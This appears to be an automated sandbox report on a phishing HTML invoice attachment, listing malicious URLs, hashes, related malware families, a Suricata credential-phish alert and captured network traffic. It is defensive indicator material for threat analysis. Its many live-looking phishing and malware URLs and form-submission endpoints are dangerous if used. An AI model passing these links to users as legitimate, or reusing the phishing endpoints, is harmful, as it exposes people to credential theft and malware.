HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .html

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.204.23.20, 142.250.65.174, 142.250.65.195, 142.250.176.206, 172.253.63.84, 142.251.41.14, 142.250.81.238, 142.250.64.110, 142.250.65.206, 142.250.65.238, 142.251.40.142, 199.232.214.172, 142.250.64.78, 142.251.35.163, 142.251.167.84, 172.217.165.131, 142.250.72.110, 142.251.179.84, 142.251.35.174, 20.109.210.53, 23.96.180.189, 150.171.27.10, 23.33.40.139
Excluded domains from analysis (whitelisted): www.bing.com, clients1.google.com, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, g.bing.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, e16604.dscf.akamaiedge.net, arc.msn.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, clients.l.google.com, prod.fs.microsoft.com.akadns.net
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
151.101.2.137	http://facebooksecurity.blogspot.co.uk/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	http://facebooksecurity.blogspot.ro/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	http://novo.oratoriomariano.com/novo/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-3.3.1.min.js
	http://facebooksecurity.blogspot.dk/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	http://soporte-store.info/icloud2022-esp.php	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://applela.za.com/isignesp.php?id=	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://www.oodlesoftraffic.com/ec/JaneMarksHealth/1934/acmariix2/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.9.1.js
	http://awqffg.newburuan2023.biz.id/next.php	Get hash	malicious	HTMLPhisher	Browse	code.jquery.com/jquery-1.10.2.min.js
207.174.26.219	WizClient.exe	Get hash	malicious	XWorm	Browse
	AWB.Shipment.Document(16 Mar 2025).pdf.html	Get hash	malicious	HTMLPhisher	Browse
	https://sreqmcoommnunlty.com/pikus/kils/nuks	Get hash	malicious	Unknown	Browse
	https://sreqmcoommnunlty.com/bysre/tytik/pols	Get hash	malicious	Unknown	Browse
	Output.exe	Get hash	malicious	XWorm	Browse
	20250031011(12 Mar 2025).pdf.html	Get hash	malicious	Unknown	Browse
	SVrB5SO0.exe	Get hash	malicious	XWorm	Browse
	http://genminiaglosginie.godaddysites.com/	Get hash	malicious	Unknown	Browse
	https://vine-aged-thing.glitch.me/public/NF6ZYO3U0ETRC6UIA5BRREAKTD8CH9OENR.html	Get hash	malicious	HTMLPhisher	Browse
	https://biancalentinidesigns.com/reedmne/rss_feeds/3de93ec2a/autob	Get hash	malicious	HTMLPhisher	Browse
18.164.116.98	lem.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	https://track.mltrck.com/?a=160734&c=343241&mt=3	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
i.ibb.co	https://sceanmcommnunmnlty.com/siute/apxpw/zpq	Get hash	malicious	Unknown	Browse	91.134.10.168
	https://sceanmcommnunmnlty.com/siute/apxpw/zpq	Get hash	malicious	Unknown	Browse	91.134.9.160
	WizClient.exe	Get hash	malicious	XWorm	Browse	207.174.26.219
	yeah.exe	Get hash	malicious	XWorm	Browse	108.181.22.211
	WizClient.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	91.134.10.127
	AWB.Shipment.Document(16 Mar 2025).pdf.html	Get hash	malicious	HTMLPhisher	Browse	91.134.82.79
	https://sreqmcoommnunlty.com/pikus/kils/nuks	Get hash	malicious	Unknown	Browse	207.174.26.219
	https://sreqmcoommnunlty.com/bysre/tytik/pols	Get hash	malicious	Unknown	Browse	207.174.26.219
	https://securelinklogin.blogspot.com/	Get hash	malicious	Unknown	Browse	108.181.22.211
	general2.exe	Get hash	malicious	XWorm	Browse	91.134.10.182
code.jquery.com	https://www.email-noftications.com/mail/u/0/inbox/index1.html?alt=media&token=033982e3-60ca-457e-b182-18a03119de12	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	https://www.email-noftications.com/mail/u/0/inbox/index1.html?alt=media&token=033982e3-60ca-457e-b182-18a03119de12&data=ZEdGMGVXRnVZUzVyYjNSbGJtdHZRSE5wWW1Wc1kyOHVZMjl0	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	https://www.email-noftications.com/mail/u/0/inbox/index1.html?alt=media&token=033982e3-60ca-457e-b182-18a03119de12&data=ZEdGMGVXRnVZUzVyYjNSbGJtdHZRSE5wWW1Wc1kyOHVZMjl0	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	scan020250310_OrderTermax-3_19_2025.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.2.137
	https://ezproxy.lakeheadu.ca/login?url=https://gamma.app/docs/Incoming-PDF-Document-wpeaqji1jmv0zug?mode=present#card-f9lsd6ekhyr749b	Get hash	malicious	Unknown	Browse	151.101.130.137
	https://HlJY.ccommoe.ru/EpWwgQB1QbIAhA/#dHJhbmcucHJvc3BlcmllQGhhcnZlc3RtaWRzdHJlYW0uY29t	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.66.137
	http://ajrdn.qqmasonry.com/	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.130.137
	http://metamaskelogines.webflow.io/	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	http://protect-meta-com.vercel.app/	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://owa.spaceadvancedmaterials.de/nO1Le?e=jam@hotmail.com	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
google.com	https://e2025mupdate.us/53t0wWaZzWTxAUFkbsq5scSE0LvHDo9O9wXKWOVXzwQ53t0wWaZzWTxAUFkbsq5scSkDjIH0GDqPfBskxc/E0LvHxAUFkbsq5scSkDjIH0GDqPfBskx/PORTALS-DD2.shtml#administracion@clinicaelenasuarez.com	Get hash	malicious	HTMLPhisher	Browse	142.250.65.196
	https://www-inintuit-plugin.tapizacar.com/	Get hash	malicious	Unknown	Browse	142.251.40.132
	https://www.premiere.fr	Get hash	malicious	HTMLPhisher	Browse	142.250.80.100
	https://intimacao.clientepj.com/Processo-Trabalhista.php	Get hash	malicious	ScreenConnect Tool	Browse	142.250.65.228
	2298633922.svg	Get hash	malicious	HTMLPhisher	Browse	142.250.72.100
	https://enota.clientepj.com/NotaFiscal.php	Get hash	malicious	ScreenConnect Tool	Browse	142.250.81.228
submitted.formspark.io	AWB.Shipment.Document(16 Mar 2025).pdf.html	Get hash	malicious	HTMLPhisher	Browse	3.160.150.34
	20250031011(12 Mar 2025).pdf.html	Get hash	malicious	Unknown	Browse	3.160.150.44
	20250031011(12 Mar 2025).pdf.html	Get hash	malicious	Unknown	Browse	3.160.150.127
	20250031011(12 Mar 2025).pdf.html	Get hash	malicious	Unknown	Browse	3.160.150.34
	https://wix-filters.autopolis.lt/modules/banner/banner.php?page_id=34&banner_id=386&url=https://tiny-raincoat-big.on-fleek.app/nova.html#Info@ips-intelligence.com	Get hash	malicious	HTMLPhisher	Browse	3.160.150.20
	https://iedfuj.luucco.cl/ijueiu/iujiur/dGVzdEB0ZXN0LmNvbQo=	Get hash	malicious	HTMLPhisher	Browse	3.160.150.127
	https://myersgroupllc.s3.us-east-2.amazonaws.com/adobe.html	Get hash	malicious	Unknown	Browse	3.160.150.127
	https://lopsided-atom-reindeer.glitch.me/	Get hash	malicious	Unknown	Browse	18.164.154.32
	http://submitted.formspark.io	Get hash	malicious	Unknown	Browse	18.164.116.72
	https://docsend.com/view/r2ywuvcfbhmph7zg	Get hash	malicious	HTMLPhisher	Browse	108.138.94.52
submit-form.com	AWB.Shipment.Document(16 Mar 2025).pdf.html	Get hash	malicious	HTMLPhisher	Browse	18.245.60.85
	20250031011(12 Mar 2025).pdf.html	Get hash	malicious	Unknown	Browse	18.245.60.85
	20250031011(12 Mar 2025).pdf.html	Get hash	malicious	Unknown	Browse	18.245.60.14
	20250031011(12 Mar 2025).pdf.html	Get hash	malicious	Unknown	Browse	18.245.60.4
	https://wix-filters.autopolis.lt/modules/banner/banner.php?page_id=34&banner_id=386&url=https://tiny-raincoat-big.on-fleek.app/nova.html#Info@ips-intelligence.com	Get hash	malicious	HTMLPhisher	Browse	18.245.60.4
	https://iedfuj.luucco.cl/ijueiu/iujiur/dGVzdEB0ZXN0LmNvbQo=	Get hash	malicious	HTMLPhisher	Browse	18.245.60.80
	https://myersgroupllc.s3.us-east-2.amazonaws.com/adobe.html	Get hash	malicious	Unknown	Browse	18.245.60.4
	remittance receipt.html	Get hash	malicious	Unknown	Browse	18.245.60.4
	https://lopsided-atom-reindeer.glitch.me/	Get hash	malicious	Unknown	Browse	18.154.132.94
	https://docsend.com/view/r2ywuvcfbhmph7zg	Get hash	malicious	HTMLPhisher	Browse	3.163.158.107

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FASTLYUS	jae1h6e218.exe	Get hash	malicious	RHADAMANTHYS	Browse	199.232.192.193
	https://www.email-noftications.com/mail/u/0/inbox/index1.html?alt=media&token=033982e3-60ca-457e-b182-18a03119de12	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	https://www.email-noftications.com/mail/u/0/inbox/index1.html?alt=media&token=033982e3-60ca-457e-b182-18a03119de12&data=ZEdGMGVXRnVZUzVyYjNSbGJtdHZRSE5wWW1Wc1kyOHVZMjl0	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	https://www.email-noftications.com/mail/u/0/inbox/index1.html?alt=media&token=033982e3-60ca-457e-b182-18a03119de12&data=ZEdGMGVXRnVZUzVyYjNSbGJtdHZRSE5wWW1Wc1kyOHVZMjl0	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	scan020250310_OrderTermax-3_19_2025.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.2.137
	https://www.flugger.pl	Get hash	malicious	Unknown	Browse	151.101.192.84
	https://www.flugger.pl	Get hash	malicious	Unknown	Browse	151.101.192.84
	5IY8PW2nOl.exe	Get hash	malicious	RHADAMANTHYS	Browse	199.232.196.193
	https://ezproxy.lakeheadu.ca/login?url=https://gamma.app/docs/Incoming-PDF-Document-wpeaqji1jmv0zug?mode=present#card-f9lsd6ekhyr749b	Get hash	malicious	Unknown	Browse	151.101.2.217
	https://HlJY.ccommoe.ru/EpWwgQB1QbIAhA/#dHJhbmcucHJvc3BlcmllQGhhcnZlc3RtaWRzdHJlYW0uY29t	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	185.199.108.133
AMAZON-02US	i.elf	Get hash	malicious	Mirai	Browse	54.171.230.55
	tftp.elf	Get hash	malicious	Unknown	Browse	34.249.145.219
	na.elf	Get hash	malicious	Prometei	Browse	54.255.164.76
	miner.elf	Get hash	malicious	Unknown	Browse	34.249.145.219
	microsftgoodforenoughtogetstory.hta	Get hash	malicious	Cobalt Strike, FormBook	Browse	13.248.243.5
	nicenamewithgreatskillworkingon.hta	Get hash	malicious	Cobalt Strike, FormBook	Browse	13.248.243.5
	na.elf	Get hash	malicious	Prometei	Browse	54.255.164.76
	sjjh.hta	Get hash	malicious	Cobalt Strike, FormBook	Browse	13.248.243.5
	SecuriteInfo.com.Win64.MalwareX-gen.20059.3580.exe	Get hash	malicious	Unknown	Browse	44.234.3.221
	hiss.arm7.elf	Get hash	malicious	Unknown	Browse	34.243.160.129
RCN-ASUS	mpsl.elf	Get hash	malicious	Unknown	Browse	204.75.9.57
	jklx86.elf	Get hash	malicious	Unknown	Browse	216.15.11.60
	nklarm7.elf	Get hash	malicious	Unknown	Browse	204.75.29.25
	WizClient.exe	Get hash	malicious	XWorm	Browse	207.174.26.219
	AWB.Shipment.Document(16 Mar 2025).pdf.html	Get hash	malicious	HTMLPhisher	Browse	207.174.26.219
	https://sreqmcoommnunlty.com/pikus/kils/nuks	Get hash	malicious	Unknown	Browse	207.174.26.219
	https://sreqmcoommnunlty.com/bysre/tytik/pols	Get hash	malicious	Unknown	Browse	207.174.26.219
	Output.exe	Get hash	malicious	XWorm	Browse	207.174.26.219
	20250031011(12 Mar 2025).pdf.html	Get hash	malicious	Unknown	Browse	207.174.26.219
	zlient.exe	Get hash	malicious	Unknown	Browse	207.237.228.210
AMAZON-02US	i.elf	Get hash	malicious	Mirai	Browse	54.171.230.55
	tftp.elf	Get hash	malicious	Unknown	Browse	34.249.145.219
	na.elf	Get hash	malicious	Prometei	Browse	54.255.164.76
	miner.elf	Get hash	malicious	Unknown	Browse	34.249.145.219
	microsftgoodforenoughtogetstory.hta	Get hash	malicious	Cobalt Strike, FormBook	Browse	13.248.243.5
	nicenamewithgreatskillworkingon.hta	Get hash	malicious	Cobalt Strike, FormBook	Browse	13.248.243.5
	na.elf	Get hash	malicious	Prometei	Browse	54.255.164.76
	sjjh.hta	Get hash	malicious	Cobalt Strike, FormBook	Browse	13.248.243.5
	SecuriteInfo.com.Win64.MalwareX-gen.20059.3580.exe	Get hash	malicious	Unknown	Browse	44.234.3.221
	hiss.arm7.elf	Get hash	malicious	Unknown	Browse	34.243.160.129

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 640 x 375, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	169555
Entropy (8bit):	7.9884912169136975
Encrypted:	false
SSDEEP:	3072:zPVQAdzSrY5135f9fkofSxR5yz1Ja8HplRG+JcQAJWymT2AG+RSw:63+95fCxnyzz3BTAJWymTiSSw
MD5:	4AB714A69D89643534082046C194818B
SHA1:	9191B83F7239F221522179AB3765323EBA1F7B45
SHA-256:	898EA791025A86427C1F2547631D9599B413EDDAA28D8EF005A12BFA225B1927
SHA-512:	2A41FB58F3DFC121819CDCF31DB4649CAEB051EF78828672973E42BAE4BAA2B9AB872730BEE62AEDF6875D65F400D0110E617EC74B2923DBEC569CB7F8D97982
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......w.....5.......eXIfII...........................V...........^...(.......................i.......f........v.......v................0210....................0100................................w.......W.9.....pHYs..........(J... .IDATx...\|[............B...&..7..F..d..,....Y......{.{..d..,..dI.-y...9....'.}...%..{.9..{..<.\|..q.K\.....%....o\|..p.K\.....%.q.?V\......%.q.K\.o&..t.K\.....%..7...prr.+.3.5..W....u-u.{..%.q.K\....._]\.@...%.q.K\..3...%...........h...\.........n~.....-.R.Ddd$...1>>...&...C.V.....kI.R...t...fC__....!...R.....5.....Kll,..F..e.......3..y..Ou..t_..K\.....%.q.....555...9......W<.{oooxyyA$.......$..p..Q....n.......\.Gkk+....w...z$..###.....6.......g........<y.nnn..:?""..>....=..wB....q.K\.....%.WdF.$..};.}.Q...X.b.>...,[...\|.r,Z..o..6...y......EB.H.......`.%..?RSS........GQQ........!.@.~..........wOOO~..577s.!]...^.o..[..O...Kq.m..;...++...g.....X.x1?gz..M.7.x...._y=.l...Z..*.%.q.K\................q.w...D.5

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89795
Entropy (8bit):	5.290870198529059
Encrypted:	false
SSDEEP:	1536:IjjxXUHunxDjoXEZxkMV4PYDt0zxxf6gP3f8cApoEGOzZTBqUsuy8WnKdXwhLQvg:IeeIygP3fulzhsz8jlvaDioQ47GKH
MD5:	641DD14370106E992D352166F5A07E99
SHA1:	EDA46747C71D38A880BEE44F9A439C3858BB8F99
SHA-256:	A0FE8723DCF55DA64D06B25446D0A8513E52527C45AFCB37073465F9C6F352AF
SHA-512:	A6E981B23351186AA43F32879DD64C6801BE6E2AF7EF8B0E472CCCDEEBA52D5D7894DE4BCB292A364F1E11E525524077534338140A72687ADA4FAE62849843A5
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://code.jquery.com/jquery-3.6.4.min.js
Preview:	/! jQuery v3.6.4 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,y=n.hasOwnProperty,a=y.toString,l=a.call(Object),v={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1366), with no line terminators
Category:	dropped
Size (bytes):	1366
Entropy (8bit):	5.195638554980006
Encrypted:	false
SSDEEP:	24:hR0LQaGQGJ+4Gn0MyG3jW7OPGrVJRGJuTJE5JdbJWUJnuuJnSQ4HIZl9jxIzh1I:TrT+4GVyG3q7OPYR6uNEvdVJnuCnVkI3
MD5:	BEBA892C25C0DCDC39747FED4B5B0B2D
SHA1:	660EF720809478C8B744FEF403C3555FB6BDFF2F
SHA-256:	B2EB1BD9BCA301A1103863E8F5189CC4C31BD2BC33623758481DF3BC04FC6A2B
SHA-512:	94B55E56FE6BC3D2A2CEFF0EC8EC204ED9415F240A0A6203258ED48784F8AC57D19E9BB22801315429A516CD547767917E905D43CAADA29606151C1B1E9AD1EB
Malicious:	false
Reputation:	low
Preview:	<!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width"/><meta name="next-head-count" content="2"/><link rel="apple-touch-icon" href="apple-touch-icon.png"/><link rel="preload" href="/_next/static/css/da50aa7cfbe72e1e.css" as="style"/><link rel="stylesheet" href="/_next/static/css/da50aa7cfbe72e1e.css" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-8eba2abae80223bc.js" defer=""></script><script src="/_next/static/chunks/framework-c9d48730bbe34125.js" defer=""></script><script src="/_next/static/chunks/main-05cf2eeafbecdc9f.js" defer=""></script><script src="/_next/static/chunks/pages/_app-4ed93dd0c45e36be.js" defer=""></script><script src="/_next/static/chunks/pages/index-926882c654d09e4c.js" defer=""></script><script src="/_next/static/AUaqNAuyCewJuXprkj38A/_buildManifest.js" defer=""></script><

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 640 x 375, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	169555
Entropy (8bit):	7.9884912169136975
Encrypted:	false
SSDEEP:	3072:zPVQAdzSrY5135f9fkofSxR5yz1Ja8HplRG+JcQAJWymT2AG+RSw:63+95fCxnyzz3BTAJWymTiSSw
MD5:	4AB714A69D89643534082046C194818B
SHA1:	9191B83F7239F221522179AB3765323EBA1F7B45
SHA-256:	898EA791025A86427C1F2547631D9599B413EDDAA28D8EF005A12BFA225B1927
SHA-512:	2A41FB58F3DFC121819CDCF31DB4649CAEB051EF78828672973E42BAE4BAA2B9AB872730BEE62AEDF6875D65F400D0110E617EC74B2923DBEC569CB7F8D97982
Malicious:	false
URL:	https://i.ibb.co/LzTQVcnV/background.png
Preview:	.PNG........IHDR.......w.....5.......eXIfII...........................V...........^...(.......................i.......f........v.......v................0210....................0100................................w.......W.9.....pHYs..........(J... .IDATx...\|[............B...&..7..F..d..,....Y......{.{..d..,..dI.-y...9....'.}...%..{.9..{..<.\|..q.K\.....%....o\|..p.K\.....%.q.?V\......%.q.K\.o&..t.K\.....%..7...prr.+.3.5..W....u-u.{..%.q.K\....._]\.@...%.q.K\..3...%...........h...\.........n~.....-.R.Ddd$...1>>...&...C.V.....kI.R...t...fC__....!...R.....5.....Kll,..F..e.......3..y..Ou..t_..K\.....%.q.....555...9......W<.{oooxyyA$.......$..p..Q....n.......\.Gkk+....w...z$..###.....6.......g........<y.nnn..:?""..>....=..wB....q.K\.....%.WdF.$..};.}.Q...X.b.>...,[...\|.r,Z..o..6...y......EB.H.......`.%..?RSS........GQQ........!.@.~..........wOOO~..577s.!]...^.o..[..O...Kq.m..;...++...g.....X.x1?gz..M.7.x...._y=.l...Z..*.%.q.K\................q.w...D.5

Static File Info

General

File type:	HTML document, Unicode text, UTF-8 text, with very long lines (4009), with CRLF line terminators
Entropy (8bit):	4.778829438019272
TrID:	HyperText Markup Language (15015/1) 20.56% HyperText Markup Language (12001/1) 16.44% HyperText Markup Language (12001/1) 16.44% HyperText Markup Language (11501/1) 15.75% HyperText Markup Language (11501/1) 15.75%
File name:	Electronic_Invoice(20 Mar 2025).pdf.html
File size:	13'820 bytes
MD5:	20b9983b934ea88ae95751bbd6252e72
SHA1:	79ba5f09c60923f0d09be35e2c0eb0fb22812726
SHA256:	686f59220b0cebc250fbbc82aea11aa24c1ee5423cd22b4a995bbe9dd830a49c
SHA512:	d5d1177e881c1695b4479fa616bd00d89b20888591889ee9771cc8635b09076534795a7c7d6d0a53e81c200a5d1580ad34c08d30ba07d0e13084bea3f5c06d59
SSDEEP:	192:ndw5nLfbIkf7twFffYhxS9ZDAB9LS36Znc6w5A:65nQxFYhxmVAB9Lpc6MA
TLSH:	2E521C328DC7AE008771424362CD9EC5DF8D8357A28319CC764FA78F4F798A64AC35A9
File Content Preview:	<!DOCTYPE html>..<html lang="en">..<head>.. <meta charset="UTF-8">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <title></title>.. <script src="https://code.jquery.com/jquery-3.6.4.min.js"></script>.. <script>..

Network Behavior

Download Network PCAP: filtered – full

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-03-20T11:44:51.035126+0100	2030707	ET PHISHING Possible Successful Credential Phish - Form submitted to submit-form Form Hosting	1	192.168.2.5	49743	3.168.73.69	443	TCP
2025-03-20T11:44:59.708574+0100	2030707	ET PHISHING Possible Successful Credential Phish - Form submitted to submit-form Form Hosting	1	192.168.2.5	49746	3.168.73.69	443	TCP

Network Port Distribution

Total Packets: 265
• 443 (HTTPS)
• 80 (HTTP)
• 53 (DNS)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 20, 2025 11:44:13.404165983 CET	49676	443	192.168.2.5	20.189.173.14
Mar 20, 2025 11:44:13.716502905 CET	49676	443	192.168.2.5	20.189.173.14
Mar 20, 2025 11:44:14.325759888 CET	49676	443	192.168.2.5	20.189.173.14
Mar 20, 2025 11:44:14.372697115 CET	49672	443	192.168.2.5	204.79.197.203
Mar 20, 2025 11:44:15.528872967 CET	49676	443	192.168.2.5	20.189.173.14
Mar 20, 2025 11:44:17.117676973 CET	49709	443	192.168.2.5	23.33.40.145
Mar 20, 2025 11:44:17.118436098 CET	49716	80	192.168.2.5	23.203.176.221
Mar 20, 2025 11:44:17.935129881 CET	49676	443	192.168.2.5	20.189.173.14
Mar 20, 2025 11:44:22.747639894 CET	49676	443	192.168.2.5	20.189.173.14
Mar 20, 2025 11:44:24.044675112 CET	49672	443	192.168.2.5	204.79.197.203
Mar 20, 2025 11:44:27.070244074 CET	49730	443	192.168.2.5	142.250.81.228
Mar 20, 2025 11:44:27.070280075 CET	443	49730	142.250.81.228	192.168.2.5
Mar 20, 2025 11:44:27.070337057 CET	49730	443	192.168.2.5	142.250.81.228
Mar 20, 2025 11:44:27.070497990 CET	49730	443	192.168.2.5	142.250.81.228
Mar 20, 2025 11:44:27.070508957 CET	443	49730	142.250.81.228	192.168.2.5
Mar 20, 2025 11:44:27.275973082 CET	443	49730	142.250.81.228	192.168.2.5
Mar 20, 2025 11:44:27.276038885 CET	49730	443	192.168.2.5	142.250.81.228
Mar 20, 2025 11:44:27.277153969 CET	49730	443	192.168.2.5	142.250.81.228
Mar 20, 2025 11:44:27.277160883 CET	443	49730	142.250.81.228	192.168.2.5
Mar 20, 2025 11:44:27.277437925 CET	443	49730	142.250.81.228	192.168.2.5
Mar 20, 2025 11:44:27.325728893 CET	49730	443	192.168.2.5	142.250.81.228
Mar 20, 2025 11:44:28.068387985 CET	49734	443	192.168.2.5	151.101.2.137
Mar 20, 2025 11:44:28.068437099 CET	443	49734	151.101.2.137	192.168.2.5
Mar 20, 2025 11:44:28.068532944 CET	49734	443	192.168.2.5	151.101.2.137
Mar 20, 2025 11:44:28.068648100 CET	49734	443	192.168.2.5	151.101.2.137
Mar 20, 2025 11:44:28.068684101 CET	443	49734	151.101.2.137	192.168.2.5
Mar 20, 2025 11:44:28.255067110 CET	443	49734	151.101.2.137	192.168.2.5
Mar 20, 2025 11:44:28.255261898 CET	49734	443	192.168.2.5	151.101.2.137
Mar 20, 2025 11:44:28.256228924 CET	49734	443	192.168.2.5	151.101.2.137
Mar 20, 2025 11:44:28.256259918 CET	443	49734	151.101.2.137	192.168.2.5
Mar 20, 2025 11:44:28.256556988 CET	443	49734	151.101.2.137	192.168.2.5
Mar 20, 2025 11:44:28.257205009 CET	49734	443	192.168.2.5	151.101.2.137
Mar 20, 2025 11:44:28.300343037 CET	443	49734	151.101.2.137	192.168.2.5
Mar 20, 2025 11:44:28.429596901 CET	443	49734	151.101.2.137	192.168.2.5
Mar 20, 2025 11:44:28.440833092 CET	443	49734	151.101.2.137	192.168.2.5
Mar 20, 2025 11:44:28.440851927 CET	443	49734	151.101.2.137	192.168.2.5
Mar 20, 2025 11:44:28.441011906 CET	49734	443	192.168.2.5	151.101.2.137
Mar 20, 2025 11:44:28.441041946 CET	443	49734	151.101.2.137	192.168.2.5
Mar 20, 2025 11:44:28.441097021 CET	49734	443	192.168.2.5	151.101.2.137
Mar 20, 2025 11:44:28.462522984 CET	443	49734	151.101.2.137	192.168.2.5
Mar 20, 2025 11:44:28.462543964 CET	443	49734	151.101.2.137	192.168.2.5
Mar 20, 2025 11:44:28.462589025 CET	49734	443	192.168.2.5	151.101.2.137
Mar 20, 2025 11:44:28.462596893 CET	443	49734	151.101.2.137	192.168.2.5
Mar 20, 2025 11:44:28.462627888 CET	49734	443	192.168.2.5	151.101.2.137
Mar 20, 2025 11:44:28.516212940 CET	49734	443	192.168.2.5	151.101.2.137
Mar 20, 2025 11:44:28.534821987 CET	443	49734	151.101.2.137	192.168.2.5
Mar 20, 2025 11:44:28.534838915 CET	443	49734	151.101.2.137	192.168.2.5
Mar 20, 2025 11:44:28.534888029 CET	49734	443	192.168.2.5	151.101.2.137
Mar 20, 2025 11:44:28.534904003 CET	443	49734	151.101.2.137	192.168.2.5
Mar 20, 2025 11:44:28.534919977 CET	49734	443	192.168.2.5	151.101.2.137
Mar 20, 2025 11:44:28.534943104 CET	49734	443	192.168.2.5	151.101.2.137
Mar 20, 2025 11:44:28.548624992 CET	443	49734	151.101.2.137	192.168.2.5
Mar 20, 2025 11:44:28.548654079 CET	443	49734	151.101.2.137	192.168.2.5
Mar 20, 2025 11:44:28.548712969 CET	49734	443	192.168.2.5	151.101.2.137
Mar 20, 2025 11:44:28.548736095 CET	443	49734	151.101.2.137	192.168.2.5
Mar 20, 2025 11:44:28.548748970 CET	49734	443	192.168.2.5	151.101.2.137
Mar 20, 2025 11:44:28.550558090 CET	49734	443	192.168.2.5	151.101.2.137
Mar 20, 2025 11:44:28.559144974 CET	443	49734	151.101.2.137	192.168.2.5
Mar 20, 2025 11:44:28.559166908 CET	443	49734	151.101.2.137	192.168.2.5
Mar 20, 2025 11:44:28.559252024 CET	49734	443	192.168.2.5	151.101.2.137
Mar 20, 2025 11:44:28.559269905 CET	443	49734	151.101.2.137	192.168.2.5
Mar 20, 2025 11:44:28.559283018 CET	49734	443	192.168.2.5	151.101.2.137
Mar 20, 2025 11:44:28.560640097 CET	49734	443	192.168.2.5	151.101.2.137
Mar 20, 2025 11:44:28.565674067 CET	443	49734	151.101.2.137	192.168.2.5
Mar 20, 2025 11:44:28.565742016 CET	49734	443	192.168.2.5	151.101.2.137
Mar 20, 2025 11:44:28.565753937 CET	443	49734	151.101.2.137	192.168.2.5
Mar 20, 2025 11:44:28.565766096 CET	443	49734	151.101.2.137	192.168.2.5
Mar 20, 2025 11:44:28.565802097 CET	49734	443	192.168.2.5	151.101.2.137
Mar 20, 2025 11:44:28.575784922 CET	49734	443	192.168.2.5	151.101.2.137
Mar 20, 2025 11:44:28.575817108 CET	443	49734	151.101.2.137	192.168.2.5
Mar 20, 2025 11:44:28.707597017 CET	49735	443	192.168.2.5	207.174.26.219
